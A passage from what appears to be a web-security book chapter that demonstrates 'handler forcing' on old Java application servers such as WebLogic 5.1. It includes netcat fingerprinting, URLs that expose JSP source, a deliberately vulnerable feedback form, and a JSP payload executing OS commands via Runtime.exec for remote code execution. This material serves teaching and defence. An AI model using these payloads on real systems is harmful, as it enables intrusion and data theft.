Identifying Loopholes in Java Application Servers
Identifying Loopholes in Java Application Servers
Even the multithreaded servlet model of Java application servers has its fair share of security vulnerabilities. Market leaders such as Sun's Java Web Server, IBM's WebSphere, BEA's WebLogic, and Allaire's Jrun, among many others, suffer from architectural and implementation flaws. Architectural flaws led to attacks such as source code disclosure, denial-of-service attacks, arbitrary remote command execution, and physical path disclosures. These types of attacks are all too common and increasingly trivial to undertake. Want to watch?
Example: Online Stock Trading Portal
Acme Online Trading, Inc., is one of the many online stock trading portals that sprang up in the days of the dot-com gold rush. The company decided to adopt the Microsoft Windows NT platform, SQL Database, and application servers.
Browsing the site, we observe these URLs:
http://www.acmetradeonline.com/index.html
http://www.acmetradeonline.com/portfolio.jsp
http://www.acmetradeonline.com/banking.jsp
http://www.acmetradeonline.com/getquote.jsp
http://www.acmetradeonline.com/investment.html
https://www.acmetradeonline.com/servlets/tradeonline
https://www.acmetradeonline.com/login.jsp
http://www.acmetradeonline.com/feedback/feedback.jsp
From these links, let's try to identify the technologies at work behind Acme's trading portal. The first clue is that all the URLs end with .jsp, which suggests that the site makes heavy use of Java Server Pages. The next clue is afforded by this URL:
https://www.acmetradeonline.com/servlets/tradeonline
Note that the URL path includes the term /servlets/. This term indicates the use of Java servlets, which are invoked by using the servlet invoker. A servlet invoker is a mapping that tells the Web server to instantiate the name of the servlet following the "keyword." Depending on the mapping, the keyword may be different on different servers but usually takes the form of "servlet" and "servlets."
Now let's dig deeper and gather information about the kind of Java application server that is powering this Web application. Using netcat, we can issue a "HEAD" request to the server in an attempt to identify the server type. The response shows that the server used is BEA's WebLogic version 5.1.0:
C:\> nc www.acmetradeonline.com 80HEAD / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Location: /index.html
Server: WebLogic 5.1.0 04/03/2000 17:13:23 #66825Content-Length: 217
Connection: Close
BEA's WebLogic application server is a very powerful Java application server supporting all the major Java Web technologies, including Java servlets, Java Server Pages, JavaBeans, and Java Database Connectivity (JDBC). Recently, several vulnerabilities were identified in the architecture of WebLogic. We now illustrate these limitations and discuss their causes.
WebLogic Servlets and Handlers
For any Web application server, the configuration file plays an essential role. The WebLogic application server's configuration is stored in the weblogic.properties file. This file includes configuration parameters such as the Web server TCP port, administration password, servlet mappings, and security and database interfacing information. Other application servers, such as IBM's WebSphere, Sun's Java Web Server, and Allaire's JRun have their own configuration files in different formats. Some have XML-based configuration and others are hidden and accessible only via their own GUI.
The configuration file gives an excellent insight into the inner workings of the application server. Almost all Java-based application servers have a few core servlets such as a file servlet, a JSP processor servlet, and an SSI processor servlet. These core servlets are at the heart of the application server and have rights to access resources. Each request sent to the server is handled by the appropriate servlet in its own thread, which resides in the same processor on the server. This multithreaded servlet based architecture makes Java application servers extremely scalable and efficient. Java application servers are also capable of functioning as a plug-in for mainstream Web servers such as IIS, Apache, and Netscape Enterprise Server. The configuration file associates the servlets with various resource types that are served by the application server. Thus requests for JSP files are handled by a JSP servlet, requests for simple HTML files are handled by the File Servlet, and so on. These servlets are known as "handlers" and are categorized as File handler, JSP handler, SSI handler, and many more. For example http://www.acmetradeonline.com/profile.jsp invokes the JSP servlet, because the resource requested by the client is type JSP.
Now let's try to understand what can go wrong with Java application servers. Improper implementation or configuration of various handles may lead to a new class of vulnerabilities.
Application Handlers and Invokers
One of the first questions that pops into the mind of a security consultant is: "What if we invoke the FileServlet and ask for Java Server Pages or invoke the JSPServlet invoker and request a simple HTML file?" We've dubbed the idea presented here "handler forcing."
To understand how handlers are forced we need to know how these servlets are registered and how they are invoked. The answers lie within the configuration file. Take a look at the line from the weblogic.properties file, which registers a servlet called "SnoopServlet":
----------- weblogic.properties-----------
weblogic.httpd.register.snoop=examples.servlets.SnoopServlet
There are two things to notice here. The right-hand side states the name of the servlet, "SnoopServlet," which resides in /examples/ servlets/. The left-hand side is a directive that represents the alias or short invoking name. Whatever comes after weblogic.httpd.register. gets mapped to the particular servlet represented by the right-hand side. In this case it is mapped to the word "snoop." The following URL shows how the SnoopServlet is invoked:
http://www.acmetrading.com/snoop
Figure 12-3 shows the invocation and what is returned to the browser.
Figure 12-3. Invoking the newly created Snoop Servlet
The SnoopServlet is merely an example servlet for developers writing Java servlets.
Invoking FileServlet
However, looking farther into the weblogic.properties file reveals more interesting information. The application server's core servlets are registered in the same manner as user-written servlets! The following portion of the weblogic.properties file illustrates how the FileServlet is registered.
----------- weblogic.properties-----------
# File servlet registration
# ------------------------------------------------
# FileServlet searches below the documentRoot for the requested file
# and serves it if found. If the requested file is a directory,
# FileServlet will append the defaultFilename to the requested path
# and serve that file if found.
weblogic.httpd.register.file=weblogic.servlet.FileServlet
The left-hand side of the last line indicates the alias for the FileServlet. Here the word "file" on the URL invokes the FileServlet. Now for the fun part. Ask yourself the following question: "What would happen if the URL http://www.acmeonline.com/file was issued in the browser?" The FileServlet is designed to serve simple text files to the client, but what if we tried to use the FileServlet to retrieve JSP files? You will soon see.
The URL http://www.acmetradeonline.com/feedback/feedback.jsp causes the server to return with the information shown in Figure 12-4.
Figure 12-4. Acme Online Trading's feedback page
The feedback.jsp shows a small form for Acme Online Trading's customers to send feedback to the company. Recall that, by default, JSP files are handled by the JSP processor servlet, JspServlet. Now let's try to have feedback.jsp handled by the ileServlet by issuing the following URL:
http://www.acmetradeonline.com/file/feedback/feedback.jsp
The result of forcing the "file" handler on the JSP file is shown in Figure 12-5.
Figure 12-5. Source code disclosure using FileServlet
What do we have? The source code for feedback.jsp thrown back to our browser! This result is an example of causing a "handler mismatch" by asking for a resource to be served by a handler other than the one it was originally registered for. Here we invoked FileServlet and asked for a Java Server Page. From an architectural standpoint, instead of the JspServlet handling the request for Java Server Pages, we have forced FileServlet to process the JSP request. The FileServlet returns the file contents "as is"; that is, without any further processing, we got the source code of the feedback.jsp page. In this manner, an attacker can view the source code of all the JSP files.
This vulnerability isn't specific to WebLogic alone. The same flaw in architecture was discovered on IBM's WebSphere and Sun's Java Web Server. The servlet invoker for the file servlet in WebSphere is /servlet/file, whereas in Sun's Java Web Server it is /servlet/com. sun.whatever.whatever.whatever. Assuming that Acme Online Trading was running on WebSphere, we could rewrite the same URL as:
http://www.acmeonline.com/servlet/file/feedback.jsp
Invoking SSIServlet
Now, let's look at another case of handler forcing within WebLogic, this time with another servlet. We begin by taking another look at the weblogic.properties file:
# ServerSideInclude servlet registration
# ------------------------------------------------
# SSIServlet searches below the documentRoot for the
# requested .shtml file and serves it if found.
weblogic.httpd.register.*.shtml=weblogic.servlet.ServerSideIncludeServlet
The last line maps the alias "*.shtml" to the ServerSideIncludeServlet. That gives us yet another way of recovering the source code from JSP files with handler forcing. We request the URL:
http://www.acmetradeonline.com/*.shtml/feedback/feedback.jsp
Again by forcing an alternative handler on a server-side script, we can return the source code of the JSP page to the client! The SSI servlet is designed to process SSI tags such as "include" and "exec." But in this case we invoked SSIServlet and asked for a JSP page. Thus the mismatch gave us the unprocessed feedback.jsp page, as in shown in Figure 12-6.
Figure 12-6. Invoking the SSI servlet
Invoking the JSPServlet and Forcing It to Compile html/txt
Let's now look at another handler forcing vulnerability. In this subtle variation, the core concept remains the same, but the effects of the vulnerability are drastically different. First, however, we need to give some more thought to what we just uncovered. The freshly disclosed source code of feedback.jsp page reveals some interesting things:
01. <html>
02. <body>
03. <%@ page import="java.io.*" %>
04. <%
05. FileWriter fileName = new
FileWriter("./myserver/public_html/feedback/input.html",true);06. String name = request.getParameter("name");07. String feedback = request.getParameter("feedback");08. String bs = "<br><br>Name : "+name+"<br><br>Feedback : "+feedback;
09. fileName.write("<BR><BR>"+bs);10. fileName.close();
%>
We learn from line 05 that the feedback given by the client is recorded in a file called input.html. We also learn that the feedback file (input.html) is kept in the same directory as the rest of the files (./myserver/public_html/feedback/input.html). What appears to be happening is that the feedback.jsp page keeps appending entries to input.html. So let's take a look at the file http://www.acmetradeonline.com/feedback/input.html. Figure 12-7 shows the result.
Figure 12-7. Viewing hidden input.html page
Ordinarily the page input.html isn't linked to any of the main pages, so unless we guess the name, we won't be aware of its existence. Remember, the innocuous source disclosure vulnerability found with our handler forcing technique led us to this page. By invoking the preceding URL we're able to see some feedback messages posted by Acme Online Trading's customers. We're not so much interested in the fact that we can read hidden feedb*/ack comments as we are in the fact that the feedback.jsp form allows us to write our own content on a file on Acme's Web server.
We can couple this knowledge with another crucial piece of information, which we can observe in the weblogic.properties:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# WEBLOGIC JSP PROPERTIES
# ------------------------------------------------
# Sets up automatic page compilation for JSP. Adjust init args for
# directory locations and uncomment to use.
1. weblogic.httpd.register.*.jsp=\
weblogic.servlet.JSPServlet
2. weblogic.httpd.initArgs.*.jsp=\
pageCheckSeconds=1,\
compileCommand=c:/jdk1.2/bin/javac.exe,\
workingDir=d:/weblogic/myserver/classfiles,\
verbose=true
Note that the JSPServlet is registered with the alias "*.jsp." We now can invoke the JSPServlet directly by using the string "*.jsp" in the URL, as in the "*.shtml" example. The URL is:
http://www.acmeonlinetrade.com/*.jsp/
Let's return to the question we raised a while ago: "What would happen if we invoked the JSPServlet handler and passed a plain HTML or ASCII text file to it?" Then we ask: "Will the application server compile it as if it contained Java code and send us the results after running the java-compiled bytecode?" There is only one way to find out let's try it!
Before forcing the JSPServlet handler on the input.html file, we post a comment in input.html. It is a specially crafted comment, containing Java code instead of English words, of course! Figure 12-8 shows a simple Java print statement uploaded as a comment into the input.html file.
Figure 12-8. Filling a form with Java code
Figure 12-9 displays the contents of the input.html page.
Figure 12-9. Executed code
Our comment made it into the input.html page, which has Java code in it. We now invoke the JSPServlet handler and ask it to process input.html. Architecturally, the JSPServlet is designed to handle JSP code, and therefore it should treat contents of input.html as JSP tags and compile and execute the Java code. Hence the following URL should do the trick:
http://www.acmetradeonline.com/*.jsp/../feedback/input.html
This URL causes WebLogic to invoke JSPServlet and compile and execute /../feedback/input.html. Figure 12-9 shows what happens.
Handler forcing has worked again! In the feedback section we see the output "Execute Me" from the compiled page input.html. In this instance the handler forcing vulnerability yields arbitrary remote command execution instead of source code disclosure on Acme's Web server.
As shown in the Figure 12-10, the JSP handler forces the html page to be compiled by the Java compiler. The requested HTML file is converted to a Java class in the working folder, and the Java compiled output is sent to the client.
Figure 12-10. Java page compilation forced by invoking JSPServlet
Now, instead of simple print statements, an attacker can inject a much more powerful piece of code to execute any command on the remote system. Figure 12-11 shows injection of exploit code to execute the directory ("dir") command on the remote system.
Figure 12-11. Injecting exploit code
Specifically, the exploit code is:
<%@ page import="java.io.*" %>
<%
String s=null, t="";
try { Process p=Runtime.getRuntime().exec("cmd /c dir");BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine())!=null) {t+=s;
}
}
catch(IOException e) {e.printStackTrace();
}
%>
<pre><%=t %></pre>
This code spawns an operating system process with the "exec" method. In this case, the attacker chooses to run the command "cmd /c dir," assuming of course that the attacker has somehow figured out that the WebLogic server is actually running on a Windows NT system. If the remote Web server was on an Unix system, the attacker would run the process /bin/sh c ls la instead. Figure 12-12 shows the injected code in the input.html page before it is compiled.
Figure 12-12. Looking at injected code in the input.html page
Now all the attacker needs to do is force the JSP handler to compile the HTML file:
http://www.acmetradeonline.com/*.jsp/../feedback/input.html
Figure 12-13 reveals just how successful he would have been.
Figure 12-13. Executing the "dir" command by invoking JSPServlet
Note that the "dir" command is remotely executed on Acme's server. But you say, "The attacker can run the "dir" command . So what?" Instead of running the "dir" command, an attacker could just as easily run the "tftp" command to download Netcat and send a command shell back to the attacking system. By gaining interactive access to the remote system in this manner, the attacker can anything. As they say, the game would be over.
This flaw also was observed in Sun Microsystems' Java Web Server (JWS). That server comes with an example bulletin board servlet, which makes it vulnerable out-of-the-box.
EAN: 2147483647
Pages: 156